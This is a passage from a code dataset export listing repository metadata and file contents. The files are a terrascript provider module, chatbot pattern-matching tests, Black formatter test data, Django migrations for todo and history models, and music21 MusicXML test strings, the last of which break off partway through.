hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
48c81512ded7e26922d19cc2af61909901d25052
| 388
|
py
|
Python
|
terrascript/provider/onelogin.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 507
|
2017-07-26T02:58:38.000Z
|
2022-01-21T12:35:13.000Z
|
terrascript/provider/onelogin.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 135
|
2017-07-20T12:01:59.000Z
|
2021-10-04T22:25:40.000Z
|
terrascript/provider/onelogin.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 81
|
2018-02-20T17:55:28.000Z
|
2022-01-31T07:08:40.000Z
|
# terrascript/provider/onelogin.py
# Automatically generated by tools/makecode.py (24-Sep-2021 15:23:37 UTC)
#
# For imports without namespace, e.g.
#
# >>> import terrascript.provider.onelogin
#
# instead of
#
# >>> import terrascript.provider.onelogin.onelogin
#
# This is only available for 'official' and 'partner' providers.
from terrascript.provider.onelogin.onelogin import *
| 25.866667
| 73
| 0.75
| 49
| 388
| 5.938776
| 0.693878
| 0.261168
| 0.371134
| 0.226804
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.035608
| 0.131443
| 388
| 14
| 74
| 27.714286
| 0.827893
| 0.796392
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
48de6e899f155610971957c68f8c84215cbfdb92
| 4,156
|
py
|
Python
|
test/programytest/parser/pattern/matching/test_arrow.py
|
whackur/chatbot
|
bb4b4dace89f1f8aae2b6377bf7d2601e66af7a7
|
[
"MIT"
] | 5
|
2018-08-21T00:13:45.000Z
|
2018-09-01T20:00:55.000Z
|
test/programytest/parser/pattern/matching/test_arrow.py
|
whackur/chatbot
|
bb4b4dace89f1f8aae2b6377bf7d2601e66af7a7
|
[
"MIT"
] | 3
|
2020-07-16T04:00:42.000Z
|
2021-03-31T18:52:22.000Z
|
test/programytest/parser/pattern/matching/test_arrow.py
|
whackur/chatbot
|
bb4b4dace89f1f8aae2b6377bf7d2601e66af7a7
|
[
"MIT"
] | 5
|
2018-08-21T00:08:36.000Z
|
2018-09-23T06:11:04.000Z
|
from programytest.parser.pattern.matching.base import PatternMatcherBaseClass
class PatternMatcherTests(PatternMatcherBaseClass):
def test_arrow_tree_matching_empty(self):
self.add_pattern_to_graph(pattern="^", topic="X", that="Y", template="1")
context = self.match_sentence("A", topic="X", that="Y")
self.assertIsNotNone(context)
self.assertIsNotNone(context.template_node())
self.assertEqual("1", context.template_node().template.word)
self.assertEqual("A", context.star(1))
def test_arrow_tree_matching_single(self):
self.add_pattern_to_graph(pattern="^ A", topic="X", that="Y", template="1")
context = self.match_sentence("B A", topic="X", that="Y")
self.assertIsNotNone(context)
self.assertIsNotNone(context.template_node())
self.assertEqual("1", context.template_node().template.word)
self.assertEqual("B", context.star(1))
def test_arrow_tree_matching_front(self):
self.add_pattern_to_graph(pattern="^ C D", topic="X", that="Y", template="1")
context = self.match_sentence("A B C D", topic="X", that="Y")
self.assertIsNotNone(context)
self.assertIsNotNone(context.template_node())
self.assertEqual("1", context.template_node().template.word)
self.assertEqual("A B", context.star(1))
context = self.match_sentence("C D", topic="X", that="Y")
self.assertIsNotNone(context)
self.assertIsNotNone(context.template_node())
self.assertEqual("1", context.template_node().template.word)
self.assertEqual("", context.star(1))
def test_arrow_tree_matching_middle(self):
self.add_pattern_to_graph(pattern="A ^ D", topic="X", that="Y", template="1")
context = self.match_sentence("A B C D", topic="X", that="Y")
self.assertIsNotNone(context)
self.assertIsNotNone(context.template_node())
self.assertEqual("1", context.template_node().template.word)
self.assertEqual("B C", context.star(1))
context = self.match_sentence("A D", topic="X", that="Y")
self.assertIsNotNone(context)
self.assertIsNotNone(context.template_node())
self.assertEqual("1", context.template_node().template.word)
self.assertEqual("", context.star(1))
def test_arrow_tree_matching_end(self):
self.add_pattern_to_graph(pattern="A B ^", topic="X", that="Y", template="1")
context = self.match_sentence("A B C D", topic="X", that="Y")
self.assertIsNotNone(context)
self.assertIsNotNone(context.template_node())
self.assertEqual("1", context.template_node().template.word)
self.assertEqual("C D", context.star(1))
context = self.match_sentence("A B", topic="X", that="Y")
self.assertIsNotNone(context)
self.assertIsNotNone(context.template_node())
self.assertEqual("1", context.template_node().template.word)
self.assertEqual("", context.star(1))
def test_arrow_front_and_back(self):
self.add_pattern_to_graph(pattern="^ F G", topic="*", that="*", template="2")
self.add_pattern_to_graph(pattern="^ A B ^", topic="*", that="*", template="1")
context = self.match_sentence("F A B G", topic="X", that="Y")
self.assertIsNotNone(context)
self.assertIsNotNone(context.template_node())
self.assertEqual("1", context.template_node().template.word)
self.assertEqual("F", context.star(1))
self.assertEqual("G", context.star(2))
def test_arrow_deep_tree_matching(self):
self.add_pattern_to_graph(pattern="A ^ B ^ C", topic="X", that="Z", template="1")
self.add_pattern_to_graph(pattern="A ^ B ^ C", topic="X", that="Y", template="1")
context = self.match_sentence("A X1 X2 X3 X4 B Y1 Y2 Y3 Y4 C", topic="X", that="Y")
self.assertIsNotNone(context)
self.assertIsNotNone(context.template_node())
self.assertEqual("1", context.template_node().template.word)
self.assertEqual("X1 X2 X3 X4", context.star(1))
self.assertEqual("Y1 Y2 Y3 Y4", context.star(2))
| 39.207547
| 91
| 0.655919
| 535
| 4,156
| 4.936449
| 0.104673
| 0.124953
| 0.196895
| 0.066641
| 0.892465
| 0.862552
| 0.849678
| 0.799318
| 0.719046
| 0.691405
| 0
| 0.013905
| 0.186718
| 4,156
| 106
| 92
| 39.207547
| 0.767456
| 0
| 0
| 0.514286
| 0
| 0
| 0.05077
| 0
| 0
| 0
| 0
| 0
| 0.6
| 1
| 0.1
| false
| 0
| 0.014286
| 0
| 0.128571
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
d2db7b0ccc474f785c6eb515c3ae8ad29e9f02f4
| 152
|
py
|
Python
|
tests/data/numeric_literals_py2.py
|
Cito/black
|
9db8d4b2d79f2acc2d8f793e442bc53d947c231f
|
[
"MIT"
] | 3
|
2018-11-06T14:54:37.000Z
|
2021-06-20T19:38:24.000Z
|
tests/data/numeric_literals_py2.py
|
Cito/black
|
9db8d4b2d79f2acc2d8f793e442bc53d947c231f
|
[
"MIT"
] | null | null | null |
tests/data/numeric_literals_py2.py
|
Cito/black
|
9db8d4b2d79f2acc2d8f793e442bc53d947c231f
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python2.7
x = 123456789L
x = 123456789l
x = 123456789
# output
#!/usr/bin/env python2.7
x = 123456789L
x = 123456789L
x = 123456789
| 10.133333
| 24
| 0.684211
| 23
| 152
| 4.521739
| 0.391304
| 0.423077
| 0.461538
| 0.307692
| 0.942308
| 0.942308
| 0.942308
| 0.942308
| 0.942308
| 0.942308
| 0
| 0.471545
| 0.190789
| 152
| 14
| 25
| 10.857143
| 0.373984
| 0.348684
| 0
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 14
|
960e1e53ac0db05cfbf149432bfe2b22dec5df74
| 2,541
|
py
|
Python
|
client_api/client_user/migrations/0003_liquidityhistory_orderpricehistory_placedassetshistory.py
|
MagnificentUrukHai/market-platform
|
b6a67138ccaf3733ad19dc66c5bfa100733c665e
|
[
"MIT"
] | null | null | null |
client_api/client_user/migrations/0003_liquidityhistory_orderpricehistory_placedassetshistory.py
|
MagnificentUrukHai/market-platform
|
b6a67138ccaf3733ad19dc66c5bfa100733c665e
|
[
"MIT"
] | 1
|
2019-05-22T15:05:44.000Z
|
2019-05-22T15:05:44.000Z
|
client_api/client_user/migrations/0003_liquidityhistory_orderpricehistory_placedassetshistory.py
|
MagnificentUrukHai/market-platform
|
b6a67138ccaf3733ad19dc66c5bfa100733c665e
|
[
"MIT"
] | null | null | null |
# Generated by Django 2.1.7 on 2019-04-14 14:35
import django.db.models.deletion
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('client_user', '0002_order_actual_price'),
]
operations = [
migrations.CreateModel(
name='LiquidityHistory',
fields=[
('id',
models.AutoField(auto_created=True,
primary_key=True,
serialize=False,
verbose_name='ID')),
('value', models.DecimalField(decimal_places=5, max_digits=8)),
('created_at_dt', models.DateTimeField(auto_now_add=True)),
('uuid', models.UUIDField()),
('instrument',
models.ForeignKey(
on_delete=django.db.models.deletion.DO_NOTHING,
to='client_user.Instrument')),
],
),
migrations.CreateModel(
name='OrderPriceHistory',
fields=[
('id',
models.AutoField(auto_created=True,
primary_key=True,
serialize=False,
verbose_name='ID')),
('price', models.DecimalField(decimal_places=8,
max_digits=20)),
('created_at_dt', models.DateTimeField(auto_now_add=True)),
('uuid', models.UUIDField()),
('instrument',
models.ForeignKey(
on_delete=django.db.models.deletion.DO_NOTHING,
to='client_user.Instrument')),
],
),
migrations.CreateModel(
name='PlacedAssetsHistory',
fields=[
('id',
models.AutoField(auto_created=True,
primary_key=True,
serialize=False,
verbose_name='ID')),
('value', models.DecimalField(decimal_places=5, max_digits=8)),
('created_at_dt', models.DateTimeField(auto_now_add=True)),
('uuid', models.UUIDField()),
('instrument',
models.ForeignKey(
on_delete=django.db.models.deletion.DO_NOTHING,
to='client_user.Instrument')),
],
),
]
| 37.925373
| 79
| 0.463203
| 200
| 2,541
| 5.685
| 0.325
| 0.03518
| 0.049252
| 0.077397
| 0.730871
| 0.730871
| 0.730871
| 0.730871
| 0.730871
| 0.730871
| 0
| 0.017981
| 0.430933
| 2,541
| 66
| 80
| 38.5
| 0.768326
| 0.01771
| 0
| 0.783333
| 1
| 0
| 0.10425
| 0.035686
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.033333
| 0
| 0.083333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7d95240e1fd5209898974cdd6051e5b7b060f279
| 2,620
|
py
|
Python
|
todo/migrations/0001_initial.py
|
YellowAndGreen/Anki2
|
53165465b94ce4d27f3683e030564c8f4289f57f
|
[
"MIT"
] | null | null | null |
todo/migrations/0001_initial.py
|
YellowAndGreen/Anki2
|
53165465b94ce4d27f3683e030564c8f4289f57f
|
[
"MIT"
] | null | null | null |
todo/migrations/0001_initial.py
|
YellowAndGreen/Anki2
|
53165465b94ce4d27f3683e030564c8f4289f57f
|
[
"MIT"
] | null | null | null |
# Generated by Django 3.0.4 on 2022-02-07 16:25
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Todo',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateTimeField(auto_now_add=True, db_index=True)),
('completed_date', models.DateTimeField(auto_now=True, db_index=True)),
('completed', models.BooleanField(default=False)),
('group', models.CharField(default='未分类', max_length=20)),
('text', models.CharField(default='none', max_length=200)),
],
options={
'ordering': ('-date',),
},
),
migrations.CreateModel(
name='SubTodo',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateTimeField(auto_now_add=True, db_index=True)),
('completed_date', models.DateTimeField(auto_now=True, db_index=True)),
('completed', models.BooleanField(default=False)),
('group', models.CharField(default='未分类', max_length=20)),
('text', models.CharField(default='none', max_length=200)),
('todo', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='subTodo', to='todo.Todo')),
],
options={
'ordering': ('-date',),
},
),
migrations.CreateModel(
name='SSubTodo',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateTimeField(auto_now_add=True, db_index=True)),
('completed_date', models.DateTimeField(auto_now=True, db_index=True)),
('completed', models.BooleanField(default=False)),
('group', models.CharField(default='未分类', max_length=20)),
('text', models.CharField(default='none', max_length=200)),
('subtodo', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='ssubTodo', to='todo.Todo')),
],
options={
'ordering': ('-date',),
},
),
]
| 43.666667
| 134
| 0.546947
| 252
| 2,620
| 5.539683
| 0.25
| 0.04298
| 0.098854
| 0.116046
| 0.833811
| 0.833811
| 0.742837
| 0.742837
| 0.742837
| 0.742837
| 0
| 0.016493
| 0.305725
| 2,620
| 59
| 135
| 44.40678
| 0.750962
| 0.017176
| 0
| 0.692308
| 1
| 0
| 0.096659
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.038462
| 0
| 0.115385
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 1
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| 0
|
0
| 7
|
7db1db6c00f22f38cbca7081c951eb0a103d9fdc
| 454,032
|
py
|
Python
|
music21/musicxml/testFiles.py
|
cuthbertLab/music21
|
1be16c255460107c10d7b4bc8eb77f0d115b5eac
|
[
"MIT"
] | 1,449
|
2015-01-09T15:53:56.000Z
|
2022-03-31T18:24:46.000Z
|
venv/Lib/site-packages/music21/musicxml/testFiles.py
|
alimirzazadeh/wolfGANg
|
5bf56f7d8e6c1c283edb98bdaecfd5a606b4462c
|
[
"MIT"
] | 1,179
|
2015-01-07T17:07:54.000Z
|
2022-03-31T16:46:02.000Z
|
music21/musicxml/testFiles.py
|
cuthbertLab/music21
|
1be16c255460107c10d7b4bc8eb77f0d115b5eac
|
[
"MIT"
] | 393
|
2015-01-03T20:38:16.000Z
|
2022-03-25T16:51:22.000Z
|
# -*- coding: utf-8 -*-
# ------------------------------------------------------------------------------
# Name: testFiles.py
# Purpose: MusicXML test files
#
# Authors: Christopher Ariza
# License: BSD, see license.txt
# ------------------------------------------------------------------------------
import unittest
_DOC_IGNORE_MODULE_OR_PACKAGE = True
chantQuemQueritis = """<?xml version="1.0" standalone="no"?>
<!DOCTYPE score-partwise PUBLIC "-//Recordare//DTD MusicXML 1.0 Partwise//EN" "http://www.musicxml.org/dtds/partwise.dtd">
<score-partwise>
<movement-title>Quem queritis</movement-title>
<identification>
<rights>Copyright © 2003 Recordare LLC</rights>
<encoding>
<software>Finale 2003 for Windows</software>
<software>Dolet for Finale 1.3</software>
<encoding-date>2003-03-15</encoding-date>
</encoding>
</identification>
<part-list>
<score-part id="P1">
<part-name>Voice</part-name>
</score-part>
</part-list>
<part id="P1">
<measure number="1">
<attributes>
<divisions>2</divisions>
<clef>
<sign>G</sign>
<line>2</line>
</clef>
</attributes>
<direction placement="above">
<direction-type>
<words xml:lang="la" relative-y="5" relative-x="-5">Angelus dicit:</words>
</direction-type>
</direction>
<note>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="start" number="1"/>
</notations>
<lyric number="1">
<syllabic>single</syllabic>
<text>Quem</text>
</lyric>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="start" number="1"/>
</notations>
<lyric number="1">
<syllabic>begin</syllabic>
<text>que</text>
</lyric>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="start" number="1"/>
</notations>
<lyric number="1">
<syllabic>middle</syllabic>
<text>ri</text>
</lyric>
</note>
<note>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<lyric number="1">
<syllabic>end</syllabic>
<text>tis</text>
</lyric>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<lyric number="1">
<syllabic>single</syllabic>
<text>in</text>
</lyric>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<lyric number="1">
<syllabic>begin</syllabic>
<text>se</text>
</lyric>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="start" number="1"/>
</notations>
<lyric number="1">
<syllabic>middle</syllabic>
<text>pul</text>
</lyric>
</note>
<note>
<pitch>
<step>C</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>C</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="start" number="1"/>
</notations>
<lyric number="1">
<syllabic>end</syllabic>
<text>chro,</text>
<extend/>
</lyric>
</note>
<note>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<direction placement="below">
<direction-type>
<words relative-y="69">|</words>
</direction-type>
<offset>-1</offset>
</direction>
<note>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="start" number="1"/>
</notations>
<lyric number="1">
<syllabic>single</syllabic>
<text>o</text>
</lyric>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="start" number="1"/>
</notations>
<lyric number="1">
<syllabic>begin</syllabic>
<text>Chri</text>
</lyric>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="start" number="1"/>
</notations>
<lyric number="1">
<syllabic>middle</syllabic>
<text>sti</text>
</lyric>
</note>
<note>
<pitch>
<step>C</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<lyric number="1">
<syllabic>middle</syllabic>
<text>co</text>
</lyric>
</note>
<note>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<lyric number="1">
<syllabic>end</syllabic>
<text>lae?</text>
</lyric>
</note>
<barline location="right">
<bar-style>light-light</bar-style>
</barline>
</measure>
</part>
</score-partwise>
"""
schumannOp48No1 = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE score-partwise PUBLIC "-//Recordare//DTD MusicXML 2.0 Partwise//EN"
"http://www.musicxml.org/dtds/partwise.dtd">
<score-partwise version="2.0">
<work>
<work-number>Op. 48</work-number>
<work-title>Dichterliebe</work-title>
</work>
<movement-number>1</movement-number>
<movement-title>Im wunderschönen Monat Mai</movement-title>
<identification>
<creator type="composer">Robert Schumann</creator>
<creator type="lyricist">Heinrich Heine</creator>
<rights>Copyright © 2002 Recordare LLC</rights>
<encoding>
<software>Finale 2005 for Windows</software>
<software>Dolet 4.0 Beta 4 for Finale</software>
<encoding-date>2007-06-19</encoding-date>
<supports attribute="new-system" element="print" type="yes" value="yes"/>
<supports attribute="new-page" element="print" type="yes" value="yes"/>
</encoding>
</identification>
<defaults>
<scaling>
<millimeters>6.35</millimeters>
<tenths>40</tenths>
</scaling>
<page-layout>
<page-height>1760</page-height>
<page-width>1360</page-width>
<page-margins type="both">
<left-margin>80</left-margin>
<right-margin>80</right-margin>
<top-margin>80</top-margin>
<bottom-margin>80</bottom-margin>
</page-margins>
</page-layout>
<system-layout>
<system-margins>
<left-margin>0</left-margin>
<right-margin>0</right-margin>
</system-margins>
<system-distance>130</system-distance>
<top-system-distance>70</top-system-distance>
</system-layout>
<staff-layout>
<staff-distance>80</staff-distance>
</staff-layout>
<appearance>
<line-width type="stem">0.625</line-width>
<line-width type="beam">3.75</line-width>
<line-width type="staff">0.9375</line-width>
<line-width type="light barline">1.4062</line-width>
<line-width type="heavy barline">3.75</line-width>
<line-width type="leger">1.4062</line-width>
<line-width type="ending">0.625</line-width>
<line-width type="wedge">0.9375</line-width>
<line-width type="enclosure">0.9375</line-width>
<line-width type="tuplet bracket">0.625</line-width>
<note-size type="grace">60</note-size>
<note-size type="cue">60</note-size>
</appearance>
<music-font font-family="Maestro" font-size="18"/>
<word-font font-family="Times New Roman" font-size="9"/>
<lyric-font font-family="Times New Roman" font-size="10" name="verse"/>
</defaults>
<credit page="1">
<credit-words default-x="680" default-y="80" font-size="9" halign="center" valign="bottom">Copyright © 2002 Recordare LLC</credit-words>
</credit>
<credit page="1">
<credit-words default-x="680" default-y="1640" font-size="24" justify="center" valign="top" xml:lang="de">1. Im wunderschönen Monat Mai</credit-words>
</credit>
<credit page="1">
<credit-words default-x="680" default-y="1680" font-size="14" justify="center" valign="top">DICHTERLIEBE, Op. 48</credit-words>
</credit>
<credit page="1">
<credit-words default-x="80" default-y="1500" font-size="10" valign="bottom">Heinrich Heine</credit-words>
